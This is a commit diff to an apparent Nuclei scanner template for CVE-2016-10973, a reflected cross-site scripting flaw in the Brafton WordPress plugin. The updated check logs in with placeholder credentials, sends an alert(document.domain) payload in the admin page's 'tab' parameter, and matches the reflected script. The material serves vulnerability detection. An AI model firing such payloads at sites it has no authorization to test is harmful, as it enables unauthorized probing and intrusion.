updated req,matchers

http/cves/2016/CVE-2016-10973.yaml

@@ -15,18 +15,29 @@ info:
     cve-id: CVE-2016-10973
     cwe-id: CWE-79
   metadata:
-    max-request: 1
-  tags: cve,cve2016,wordpress,wp,wp-plugin,xss,brafton
+    max-request: 2
+    verified: true
+  tags: cve,cve2016,wordpress,wp,wp-plugin,xss,brafton,authenticated
 
 http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/wp-admin/admin.php?page=BraftonArticleLoader&tab=alert(String.fromCharCode(77,101,104,114,100,97,100,76,105,110,117,120,32,88,83,83))"
+  - raw:
+      - |
+        POST /wp-login.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
 
+        log={{username}}&pwd={{password}}&wp-submit=Log+In
+
+      - |
+        GET /wp-admin/admin.php?page=BraftonArticleLoader&tab=alert%28document.domain%29 HTTP/1.1
+        Host: {{Hostname}}
+
+    cookie-reuse: true
     matchers:
       - type: dsl
         dsl:
           - 'status_code_2 == 200'
-          - 'contains(body_2, "alert(String.fromCharCode(77,101,104,114,100,97,100,76,105,110,117,120,32,88,83,83))")'
+          - 'contains(content_type_2, "text/html")'
+          - 'contains(body_2, "tab = alert(document.domain);")'
           - 'contains(body_2, "Brafton Article Loader")'
         condition: and